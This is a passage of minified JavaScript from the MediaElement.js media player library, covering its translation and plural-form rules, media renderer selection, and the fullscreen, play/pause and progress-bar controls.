n.call(e,function(e){a(t,e)},i)}s[t]=e,0==--r&&o(s)}catch(e){i(e)}}for(var e=0;e<s.length;e++)a(e,s[e])})},r.resolve=function(t){return t&&"object"==typeof t&&t.constructor===r?t:new r(function(e){e(t)})},r.reject=function(n){return new r(function(e,t){t(n)})},r.race=function(i){return new r(function(e,t){for(var n=0,o=i.length;n<o;n++)i[n].then(e,t)})},r._immediateFn="function"==typeof setImmediate&&function(e){setImmediate(e)}||function(e){t(e,0)},r._unhandledRejectionFn=function(e){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",e)},r._setImmediateFn=function(e){r._immediateFn=e},r._setUnhandledRejectionFn=function(e){r._unhandledRejectionFn=e},void 0!==n&&n.exports?n.exports=r:e.Promise||(e.Promise=r)}(this)},{}],5:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var o,a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=e(7),r=(o=i)&&o.__esModule?o:{default:o},s=e(15),l=e(27);var d={lang:"en",en:s.EN,language:function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];if(null!=t&&t.length){if("string"!=typeof t[0])throw new TypeError("Language code must be a string value");if(!/^[a-z]{2,3}((\-|_)[a-z]{2})?$/i.test(t[0]))throw new TypeError("Language code must have format 2-3 letters and. optionally, hyphen, underscore followed by 2 more letters");d.lang=t[0],void 0===d[t[0]]?(t[1]=null!==t[1]&&void 0!==t[1]&&"object"===a(t[1])?t[1]:{},d[t[0]]=(0,l.isObjectEmpty)(t[1])?s.EN:t[1]):null!==t[1]&&void 0!==t[1]&&"object"===a(t[1])&&(d[t[0]]=t[1])}return d.lang},t:function(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:null;if("string"==typeof e&&e.length){var n=void 0,o=void 0,i=d.language(),r=function(e,t,n){return"object"!==(void 0===e?"undefined":a(e))||"number"!=typeof t||"number"!=typeof n?e:[function(){return arguments.length<=1?void 0:arguments[1]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return 0===(arguments.length<=0?void 0:arguments[0])||1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1&&(arguments.length<=0?void 0:arguments[0])%100!=11?arguments.length<=1?void 0:arguments[1]:0!==(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])||11===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])||12===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:2<(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<20?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:0===(arguments.length<=0?void 0:arguments[0])||0<(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<20?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1&&(arguments.length<=0?void 0:arguments[0])%100!=11?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:[3]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1&&(arguments.length<=0?void 0:arguments[0])%100!=11?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&(arguments.length<=0?void 0:arguments[0])%10<=4&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<=4?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&(arguments.length<=0?void 0:arguments[0])%10<=4&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return(arguments.length<=0?void 0:arguments[0])%100==1?arguments.length<=2?void 0:arguments[2]:(arguments.length<=0?void 0:arguments[0])%100==2?arguments.length<=3?void 0:arguments[3]:(arguments.length<=0?void 0:arguments[0])%100==3||(arguments.length<=0?void 0:arguments[0])%100==4?arguments.length<=4?void 0:arguments[4]:arguments.length<=1?void 0:arguments[1]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:2<(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<7?arguments.length<=3?void 0:arguments[3]:6<(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])<11?arguments.length<=4?void 0:arguments[4]:arguments.length<=5?void 0:arguments[5]},function(){return 0===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=3?void 0:arguments[3]:3<=(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<=10?arguments.length<=4?void 0:arguments[4]:11<=(arguments.length<=0?void 0:arguments[0])%100?arguments.length<=5?void 0:arguments[5]:arguments.length<=6?void 0:arguments[6]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:0===(arguments.length<=0?void 0:arguments[0])||1<(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<11?arguments.length<=2?void 0:arguments[2]:10<(arguments.length<=0?void 0:arguments[0])%100&&(arguments.length<=0?void 0:arguments[0])%100<20?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return(arguments.length<=0?void 0:arguments[0])%10==1?arguments.length<=1?void 0:arguments[1]:(arguments.length<=0?void 0:arguments[0])%10==2?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 11!==(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])%10==1?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&(arguments.length<=0?void 0:arguments[0])%10<=4&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:8!==(arguments.length<=0?void 0:arguments[0])&&11!==(arguments.length<=0?void 0:arguments[0])?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return 0===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:3===(arguments.length<=0?void 0:arguments[0])?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return 0===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]}][n].apply(null,[t].concat(e))};return void 0!==d[i]&&(n=d[i][e],null!==t&&"number"==typeof t&&(o=d[i]["mejs.plural-form"],n=r.apply(null,[n,t,o]))),!n&&d.en&&(n=d.en[e],null!==t&&"number"==typeof t&&(o=d.en["mejs.plural-form"],n=r.apply(null,[n,t,o]))),n=n||e,null!==t&&"number"==typeof t&&(n=n.replace("%1",t)),(0,l.escapeHTML)(n)}return e}};r.default.i18n=d,"undefined"!=typeof mejsL10n&&r.default.i18n.language(mejsL10n.language,mejsL10n.strings),n.default=d},{15:15,27:27,7:7}],6:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var L="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},F=o(e(3)),j=o(e(2)),I=o(e(7)),M=e(27),O=e(28),D=e(8),R=e(25);function o(e){return e&&e.__esModule?e:{default:e}}var i=function e(t,n,o){var c=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e);var f=this;o=Array.isArray(o)?o:null,f.defaults={renderers:[],fakeNodeName:"mediaelementwrapper",pluginPath:"build/",shimScriptAccess:"sameDomain"},n=Object.assign(f.defaults,n),f.mediaElement=j.default.createElement(n.fakeNodeName);var i=t,r=!1;if("string"==typeof t?f.mediaElement.originalNode=j.default.getElementById(t):i=(f.mediaElement.originalNode=t).id,void 0===f.mediaElement.originalNode||null===f.mediaElement.originalNode)return null;f.mediaElement.options=n,i=i||"mejs_"+Math.random().toString().slice(2),f.mediaElement.originalNode.setAttribute("id",i+"_from_mejs");var a=f.mediaElement.originalNode.tagName.toLowerCase();-1<["video","audio"].indexOf(a)&&!f.mediaElement.originalNode.getAttribute("preload")&&f.mediaElement.originalNode.setAttribute("preload","none"),f.mediaElement.originalNode.parentNode.insertBefore(f.mediaElement,f.mediaElement.originalNode),f.mediaElement.appendChild(f.mediaElement.originalNode);var s=function(t,e){if("https:"===F.default.location.protocol&&0===t.indexOf("http:")&&R.IS_IOS&&-1<I.default.html5media.mediaTypes.indexOf(e)){var n=new XMLHttpRequest;n.onreadystatechange=function(){if(4===this.readyState&&200===this.status){var e=(F.default.URL||F.default.webkitURL).createObjectURL(this.response);return f.mediaElement.originalNode.setAttribute("src",e),e}return t},n.open("GET",t),n.responseType="blob",n.send()}return t},l=void 0;if(null!==o)l=o;else if(null!==f.mediaElement.originalNode)switch(l=[],f.mediaElement.originalNode.nodeName.toLowerCase()){case"iframe":l.push({type:"",src:f.mediaElement.originalNode.getAttribute("src")});break;case"audio":case"video":var d=f.mediaElement.originalNode.children.length,u=f.mediaElement.originalNode.getAttribute("src");if(u){var p=f.mediaElement.originalNode,m=(0,O.formatType)(u,p.getAttribute("type"));l.push({type:m,src:s(u,m)})}for(var h=0;h<d;h++){var v=f.mediaElement.originalNode.children[h];if("source"===v.tagName.toLowerCase()){var g=v.getAttribute("src"),y=(0,O.formatType)(g,v.getAttribute("type"));l.push({type:y,src:s(g,y)})}}}f.mediaElement.id=i,f.mediaElement.renderers={},f.mediaElement.events={},f.mediaElement.promises=[],f.mediaElement.renderer=null,f.mediaElement.rendererName=null,f.mediaElement.changeRenderer=function(e,t){var n=c,o=2<Object.keys(t[0]).length?t[0]:t[0].src;if(void 0!==n.mediaElement.renderer&&null!==n.mediaElement.renderer&&n.mediaElement.renderer.name===e)return n.mediaElement.renderer.pause(),n.mediaElement.renderer.stop&&n.mediaElement.renderer.stop(),n.mediaElement.renderer.show(),n.mediaElement.renderer.setSrc(o),!0;void 0!==n.mediaElement.renderer&&null!==n.mediaElement.renderer&&(n.mediaElement.renderer.pause(),n.mediaElement.renderer.stop&&n.mediaElement.renderer.stop(),n.mediaElement.renderer.hide());var i=n.mediaElement.renderers[e],r=null;if(null!=i)return i.show(),i.setSrc(o),n.mediaElement.renderer=i,n.mediaElement.rendererName=e,!0;for(var a=n.mediaElement.options.renderers.length?n.mediaElement.options.renderers:D.renderer.order,s=0,l=a.length;s<l;s++){var d=a[s];if(d===e){r=D.renderer.renderers[d];var u=Object.assign(r.options,n.mediaElement.options);return(i=r.create(n.mediaElement,u,t)).name=e,n.mediaElement.renderers[r.name]=i,n.mediaElement.renderer=i,n.mediaElement.rendererName=e,i.show(),!0}}return!1},f.mediaElement.setSize=function(e,t){void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&f.mediaElement.renderer.setSize(e,t)},f.mediaElement.generateError=function(e,t){e=e||"",t=Array.isArray(t)?t:[];var n=(0,M.createEvent)("error",f.mediaElement);n.message=e,n.urls=t,f.mediaElement.dispatchEvent(n),r=!0};var E=I.default.html5media.properties,b=I.default.html5media.methods,S=function(t,e,n,o){var i=t[e];Object.defineProperty(t,e,{get:function(){return n.apply(t,[i])},set:function(e){return i=o.apply(t,[e])}})},x=function(e){if("src"!==e){var t=""+e.substring(0,1).toUpperCase()+e.substring(1),n=function(){return void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&"function"==typeof f.mediaElement.renderer["get"+t]?f.mediaElement.renderer["get"+t]():null},o=function(e){void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&"function"==typeof f.mediaElement.renderer["set"+t]&&f.mediaElement.renderer["set"+t](e)};S(f.mediaElement,e,n,o),f.mediaElement["get"+t]=n,f.mediaElement["set"+t]=o}},w=function(){return void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer?f.mediaElement.renderer.getSrc():null},P=function(e){var t=[];if("string"==typeof e)t.push({src:e,type:e?(0,O.getTypeFromFile)(e):""});else if("object"===(void 0===e?"undefined":L(e))&&void 0!==e.src){var n=(0,O.absolutizeUrl)(e.src),o=e.type,i=Object.assign(e,{src:n,type:""!==o&&null!=o||!n?o:(0,O.getTypeFromFile)(n)});t.push(i)}else if(Array.isArray(e))for(var r=0,a=e.length;r<a;r++){var s=(0,O.absolutizeUrl)(e[r].src),l=e[r].type,d=Object.assign(e[r],{src:s,type:""!==l&&null!=l||!s?l:(0,O.getTypeFromFile)(s)});t.push(d)}var u=D.renderer.select(t,f.mediaElement.options.renderers.length?f.mediaElement.options.renderers:[]),c=void 0;if(f.mediaElement.paused||null==f.mediaElement.src||""===f.mediaElement.src||(f.mediaElement.pause(),c=(0,M.createEvent)("pause",f.mediaElement),f.mediaElement.dispatchEvent(c)),f.mediaElement.originalNode.src=t[0].src||"",null!==u||!t[0].src)return!(null==t[0].src||""===t[0].src)?f.mediaElement.changeRenderer(u.rendererName,t):null;f.mediaElement.generateError("No renderer found",t)},T=function(e,t){try{if("play"!==e||"native_dash"!==f.mediaElement.rendererName&&"native_hls"!==f.mediaElement.rendererName&&"vimeo_iframe"!==f.mediaElement.rendererName)f.mediaElement.renderer[e](t);else{var n=f.mediaElement.renderer[e](t);n&&"function"==typeof n.then&&n.catch(function(){f.mediaElement.paused&&setTimeout(function(){var e=f.mediaElement.renderer.play();void 0!==e&&e.catch(function(){f.mediaElement.renderer.paused||f.mediaElement.renderer.pause()})},150)})}}catch(e){f.mediaElement.generateError(e,l)}},C=function(o){f.mediaElement[o]=function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&"function"==typeof f.mediaElement.renderer[o]&&(f.mediaElement.promises.length?Promise.all(f.mediaElement.promises).then(function(){T(o,t)}).catch(function(e){f.mediaElement.generateError(e,l)}):T(o,t)),null}};S(f.mediaElement,"src",w,P),f.mediaElement.getSrc=w,f.mediaElement.setSrc=P;for(var k=0,_=E.length;k<_;k++)x(E[k]);for(var N=0,A=b.length;N<A;N++)C(b[N]);return f.mediaElement.addEventListener=function(e,t){f.mediaElement.events[e]=f.mediaElement.events[e]||[],f.mediaElement.events[e].push(t)},f.mediaElement.removeEventListener=function(e,t){if(!e)return f.mediaElement.events={},!0;var n=f.mediaElement.events[e];if(!n)return!0;if(!t)return f.mediaElement.events[e]=[],!0;for(var o=0;o<n.length;o++)if(n[o]===t)return f.mediaElement.events[e].splice(o,1),!0;return!1},f.mediaElement.dispatchEvent=function(e){var t=f.mediaElement.events[e.type];if(t)for(var n=0;n<t.length;n++)t[n].apply(null,[e])},f.mediaElement.destroy=function(){var e=f.mediaElement.originalNode.cloneNode(!0),t=f.mediaElement.parentElement;e.removeAttribute("id"),e.remove(),f.mediaElement.remove(),t.appendChild(e)},l.length&&(f.mediaElement.src=l),f.mediaElement.promises.length?Promise.all(f.mediaElement.promises).then(function(){f.mediaElement.options.success&&f.mediaElement.options.success(f.mediaElement,f.mediaElement.originalNode)}).catch(function(){r&&f.mediaElement.options.error&&f.mediaElement.options.error(f.mediaElement,f.mediaElement.originalNode)}):(f.mediaElement.options.success&&f.mediaElement.options.success(f.mediaElement,f.mediaElement.originalNode),r&&f.mediaElement.options.error&&f.mediaElement.options.error(f.mediaElement,f.mediaElement.originalNode)),f.mediaElement};F.default.MediaElement=i,I.default.MediaElement=i,n.default=i},{2:2,25:25,27:27,28:28,3:3,7:7,8:8}],7:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var o,i=e(3);var r={version:"4.2.16",html5media:{properties:["volume","src","currentTime","muted","duration","paused","ended","buffered","error","networkState","readyState","seeking","seekable","currentSrc","preload","bufferedBytes","bufferedTime","initialTime","startOffsetTime","defaultPlaybackRate","playbackRate","played","autoplay","loop","controls"],readOnlyProperties:["duration","paused","ended","buffered","error","networkState","readyState","seeking","seekable"],methods:["load","play","pause","canPlayType"],events:["loadstart","durationchange","loadedmetadata","loadeddata","progress","canplay","canplaythrough","suspend","abort","error","emptied","stalled","play","playing","pause","waiting","seeking","seeked","timeupdate","ended","ratechange","volumechange"],mediaTypes:["audio/mp3","audio/ogg","audio/oga","audio/wav","audio/x-wav","audio/wave","audio/x-pn-wav","audio/mpeg","audio/mp4","video/mp4","video/webm","video/ogg","video/ogv"]}};((o=i)&&o.__esModule?o:{default:o}).default.mejs=r,n.default=r},{3:3}],8:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.renderer=void 0;var o,i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},r=function(){function o(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(e,t,n){return t&&o(e.prototype,t),n&&o(e,n),e}}(),a=e(7),s=(o=a)&&o.__esModule?o:{default:o};var l=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.renderers={},this.order=[]}return r(e,[{key:"add",value:function(e){if(void 0===e.name)throw new TypeError("renderer must contain at least `name` property");this.renderers[e.name]=e,this.order.push(e.name)}},{key:"select",value:function(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:[],n=t.length;if(t=t.length?t:this.order,!n){var o=[/^(html5|native)/i,/^flash/i,/iframe$/i],i=function(e){for(var t=0,n=o.length;t<n;t++)if(o[t].test(e))return t;return o.length};t.sort(function(e,t){return i(e)-i(t)})}for(var r=0,a=t.length;r<a;r++){var s=t[r],l=this.renderers[s];if(null!=l)for(var d=0,u=e.length;d<u;d++)if("function"==typeof l.canPlayType&&"string"==typeof e[d].type&&l.canPlayType(e[d].type))return{rendererName:l.name,src:e[d].src}}return null}},{key:"order",set:function(e){if(!Array.isArray(e))throw new TypeError("order must be an array of strings.");this._order=e},get:function(){return this._order}},{key:"renderers",set:function(e){if(null!==e&&"object"!==(void 0===e?"undefined":i(e)))throw new TypeError("renderers must be an array of objects.");this._renderers=e},get:function(){return this._renderers}}]),e}(),d=n.renderer=new l;s.default.Renderers=d},{7:7}],9:[function(e,t,n){"use strict";var f=a(e(3)),p=a(e(2)),i=a(e(5)),o=e(16),r=a(o),m=function(e){{if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}}(e(25)),h=e(27),v=e(26),g=e(28);function a(e){return e&&e.__esModule?e:{default:e}}Object.assign(o.config,{usePluginFullScreen:!0,fullscreenText:null,useFakeFullscreen:!1}),Object.assign(r.default.prototype,{isFullScreen:!1,isNativeFullScreen:!1,isInIframe:!1,isPluginClickThroughCreated:!1,fullscreenMode:"",containerSizeTimeout:null,buildfullscreen:function(n){if(n.isVideo){n.isInIframe=f.default.location!==f.default.parent.location,n.detectFullscreenMode();var o=this,e=(0,h.isString)(o.options.fullscreenText)?o.options.fullscreenText:i.default.t("mejs.fullscreen"),t=p.default.createElement("div");if(t.className=o.options.classPrefix+"button "+o.options.classPrefix+"fullscreen-button",t.innerHTML='<button type="button" aria-controls="'+o.id+'" title="'+e+'" aria-label="'+e+'" tabindex="0"></button>',o.addControlElement(t,"fullscreen"),t.addEventListener("click",function(){m.HAS_TRUE_NATIVE_FULLSCREEN&&m.IS_FULLSCREEN||n.isFullScreen?n.exitFullScreen():n.enterFullScreen()}),n.fullscreenBtn=t,o.options.keyActions.push({keys:[70],action:function(e,t,n,o){o.ctrlKey||void 0!==e.enterFullScreen&&(e.isFullScreen?e.exitFullScreen():e.enterFullScreen())}}),o.exitFullscreenCallback=function(e){var t=e.which||e.keyCode||0;o.options.enableKeyboard&&27===t&&(m.HAS_TRUE_NATIVE_FULLSCREEN&&m.IS_FULLSCREEN||o.isFullScreen)&&n.exitFullScreen()},o.globalBind("keydown",o.exitFullscreenCallback),o.normalHeight=0,o.normalWidth=0,m.HAS_TRUE_NATIVE_FULLSCREEN){n.globalBind(m.FULLSCREEN_EVENT_NAME,function(){n.isFullScreen&&(m.isFullScreen()?(n.isNativeFullScreen=!0,n.setControlsSize()):(n.isNativeFullScreen=!1,n.exitFullScreen()))})}}},cleanfullscreen:function(e){e.exitFullScreen(),e.globalUnbind("keydown",e.exitFullscreenCallback)},detectFullscreenMode:function(){var e=null!==this.media.rendererName&&/(native|html5)/i.test(this.media.rendererName),t="";return m.HAS_TRUE_NATIVE_FULLSCREEN&&e?t="native-native":m.HAS_TRUE_NATIVE_FULLSCREEN&&!e?t="plugin-native":this.usePluginFullScreen&&m.SUPPORT_POINTER_EVENTS&&(t="plugin-click"),this.fullscreenMode=t},enterFullScreen:function(){var o=this,e=null!==o.media.rendererName&&/(html5|native)/i.test(o.media.rendererName),t=getComputedStyle(o.getElement(o.container));if(o.isVideo)if(!1===o.options.useFakeFullscreen&&m.IS_IOS&&m.HAS_IOS_FULLSCREEN&&"function"==typeof o.media.originalNode.webkitEnterFullscreen&&o.media.originalNode.canPlayType((0,g.getTypeFromFile)(o.media.getSrc())))o.media.originalNode.webkitEnterFullscreen();else{if((0,v.addClass)(p.default.documentElement,o.options.classPrefix+"fullscreen"),(0,v.addClass)(o.getElement(o.container),o.options.classPrefix+"container-fullscreen"),o.normalHeight=parseFloat(t.height),o.normalWidth=parseFloat(t.width),"native-native"!==o.fullscreenMode&&"plugin-native"!==o.fullscreenMode||(m.requestFullScreen(o.getElement(o.container)),o.isInIframe&&setTimeout(function e(){if(o.isNativeFullScreen){var t=f.default.innerWidth||p.default.documentElement.clientWidth||p.default.body.clientWidth,n=screen.width;.002*n<Math.abs(n-t)?o.exitFullScreen():setTimeout(e,500)}},1e3)),o.getElement(o.container).style.width="100%",o.getElement(o.container).style.height="100%",o.containerSizeTimeout=setTimeout(function(){o.getElement(o.container).style.width="100%",o.getElement(o.container).style.height="100%",o.setControlsSize()},500),e)o.node.style.width="100%",o.node.style.height="100%";else for(var n=o.getElement(o.container).querySelectorAll("embed, object, video"),i=n.length,r=0;r<i;r++)n[r].style.width="100%",n[r].style.height="100%";o.options.setDimensions&&"function"==typeof o.media.setSize&&o.media.setSize(screen.width,screen.height);for(var a=o.getElement(o.layers).children,s=a.length,l=0;l<s;l++)a[l].style.width="100%",a[l].style.height="100%";o.fullscreenBtn&&((0,v.removeClass)(o.fullscreenBtn,o.options.classPrefix+"fullscreen"),(0,v.addClass)(o.fullscreenBtn,o.options.classPrefix+"unfullscreen")),o.setControlsSize(),o.isFullScreen=!0;var d=Math.min(screen.width/o.width,screen.height/o.height),u=o.getElement(o.container).querySelector("."+o.options.classPrefix+"captions-text");u&&(u.style.fontSize=100*d+"%",u.style.lineHeight="normal",o.getElement(o.container).querySelector("."+o.options.classPrefix+"captions-position").style.bottom=(screen.height-o.normalHeight)/2-o.getElement(o.controls).offsetHeight/2+d+15+"px");var c=(0,h.createEvent)("enteredfullscreen",o.getElement(o.container));o.getElement(o.container).dispatchEvent(c)}},exitFullScreen:function(){var e=this,t=null!==e.media.rendererName&&/(native|html5)/i.test(e.media.rendererName);if(e.isVideo){if(clearTimeout(e.containerSizeTimeout),m.HAS_TRUE_NATIVE_FULLSCREEN&&(m.IS_FULLSCREEN||e.isFullScreen)&&m.cancelFullScreen(),(0,v.removeClass)(p.default.documentElement,e.options.classPrefix+"fullscreen"),(0,v.removeClass)(e.getElement(e.container),e.options.classPrefix+"container-fullscreen"),e.options.setDimensions){if(e.getElement(e.container).style.width=e.normalWidth+"px",e.getElement(e.container).style.height=e.normalHeight+"px",t)e.node.style.width=e.normalWidth+"px",e.node.style.height=e.normalHeight+"px";else for(var n=e.getElement(e.container).querySelectorAll("embed, object, video"),o=n.length,i=0;i<o;i++)n[i].style.width=e.normalWidth+"px",n[i].style.height=e.normalHeight+"px";"function"==typeof e.media.setSize&&e.media.setSize(e.normalWidth,e.normalHeight);for(var r=e.getElement(e.layers).children,a=r.length,s=0;s<a;s++)r[s].style.width=e.normalWidth+"px",r[s].style.height=e.normalHeight+"px"}e.fullscreenBtn&&((0,v.removeClass)(e.fullscreenBtn,e.options.classPrefix+"unfullscreen"),(0,v.addClass)(e.fullscreenBtn,e.options.classPrefix+"fullscreen")),e.setControlsSize(),e.isFullScreen=!1;var l=e.getElement(e.container).querySelector("."+e.options.classPrefix+"captions-text");l&&(l.style.fontSize="",l.style.lineHeight="",e.getElement(e.container).querySelector("."+e.options.classPrefix+"captions-position").style.bottom="");var d=(0,h.createEvent)("exitedfullscreen",e.getElement(e.container));e.getElement(e.container).dispatchEvent(d)}}})},{16:16,2:2,25:25,26:26,27:27,28:28,3:3,5:5}],10:[function(e,t,n){"use strict";var c=r(e(2)),o=e(16),i=r(o),f=r(e(5)),p=e(27),m=e(26);function r(e){return e&&e.__esModule?e:{default:e}}Object.assign(o.config,{playText:null,pauseText:null}),Object.assign(i.default.prototype,{buildplaypause:function(e,t,n,o){var i=this,r=i.options,a=(0,p.isString)(r.playText)?r.playText:f.default.t("mejs.play"),s=(0,p.isString)(r.pauseText)?r.pauseText:f.default.t("mejs.pause"),l=c.default.createElement("div");l.className=i.options.classPrefix+"button "+i.options.classPrefix+"playpause-button "+i.options.classPrefix+"play",l.innerHTML='<button type="button" aria-controls="'+i.id+'" title="'+a+'" aria-label="'+s+'" tabindex="0"></button>',l.addEventListener("click",function(){i.paused?i.play():i.pause()});var d=l.querySelector("button");function u(e){"play"===e?((0,m.removeClass)(l,i.options.classPrefix+"play"),(0,m.removeClass)(l,i.options.classPrefix+"replay"),(0,m.addClass)(l,i.options.classPrefix+"pause"),d.setAttribute("title",s),d.setAttribute("aria-label",s)):((0,m.removeClass)(l,i.options.classPrefix+"pause"),(0,m.removeClass)(l,i.options.classPrefix+"replay"),(0,m.addClass)(l,i.options.classPrefix+"play"),d.setAttribute("title",a),d.setAttribute("aria-label",a))}i.addControlElement(l,"playpause"),u("pse"),o.addEventListener("loadedmetadata",function(){-1===o.rendererName.indexOf("flash")&&u("pse")}),o.addEventListener("play",function(){u("play")}),o.addEventListener("playing",function(){u("play")}),o.addEventListener("pause",function(){u("pse")}),o.addEventListener("ended",function(){e.options.loop||((0,m.removeClass)(l,i.options.classPrefix+"pause"),(0,m.removeClass)(l,i.options.classPrefix+"play"),(0,m.addClass)(l,i.options.classPrefix+"replay"),d.setAttribute("title",a),d.setAttribute("aria-label",a))})}})},{16:16,2:2,26:26,27:27,5:5}],11:[function(e,t,n){"use strict";var p=r(e(2)),o=e(16),i=r(o),m=r(e(5)),y=e(25),E=e(30),b=e(26);function r(e){return e&&e.__esModule?e:{default:e}}Object.assign(o.config,{enableProgressTooltip:!0,useSmoothHover:!0,forceLive:!1}),Object.assign(i.default.prototype,{buildprogress:function(h,s,e,d){var u=0,v=!1,c=!1,g=this,t=h.options.autoRewind,n=h.options.enableProgressTooltip?'<span class="'+g.options.classPrefix+'time-float"><span class="'+g.options.classPrefix+'time-float-current">00:00</span><span class="'+g.options.classPrefix+'time-float-corner"></span></span>':"",o=p.default.createElement("div");o.className=g.options.classPrefix+"time-rail",o.innerHTML='<span class="'+g.options.classPrefix+"time-total "+g.options.classPrefix+'time-slider"><span class="'+g.options.classPrefix+'time-buffering"></span><span class="'+g.options.classPrefix+'time-loaded"></span><span class="'+g.options.classPrefix+'time-current"></span><span class="'+g.options.classPrefix+'time-hovered no-hover"></span><span 